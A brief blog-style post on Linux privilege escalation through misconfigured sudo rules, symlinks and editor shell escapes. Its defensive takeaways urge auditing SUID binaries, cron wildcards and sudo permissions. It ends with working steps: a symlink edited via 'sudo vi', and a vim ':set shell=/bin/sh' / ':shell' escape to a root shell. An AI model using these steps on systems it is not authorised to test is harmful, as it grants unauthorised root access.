Linux kernel privilege escalation flow showing SUID binaries, misconfigured sudoers, and path hijacking
privilege escalation

Sometimes escalating privileges is that easy

Quick techniques for host privilege escalation using misconfigured sudo permissions, symlinks, and editor shell escapes.

Key takeaways
  • Privilege escalation is often a chain of seemingly trivial configuration oversights.
  • Audit SUID binaries, wildcards in cron jobs, and permissive sudo rules rigorously.
  • Least-privilege execution on the host neutralizes post-exploitation pivots.

Screengrab of a privilege escalation exploit using symlinks and sudo vi

symlink to the file you want to CRUD with root privileges. then sudo vi /var/www/html/<insert symlink name.

Or once inside vim

:set shell=/bin/sh

:shell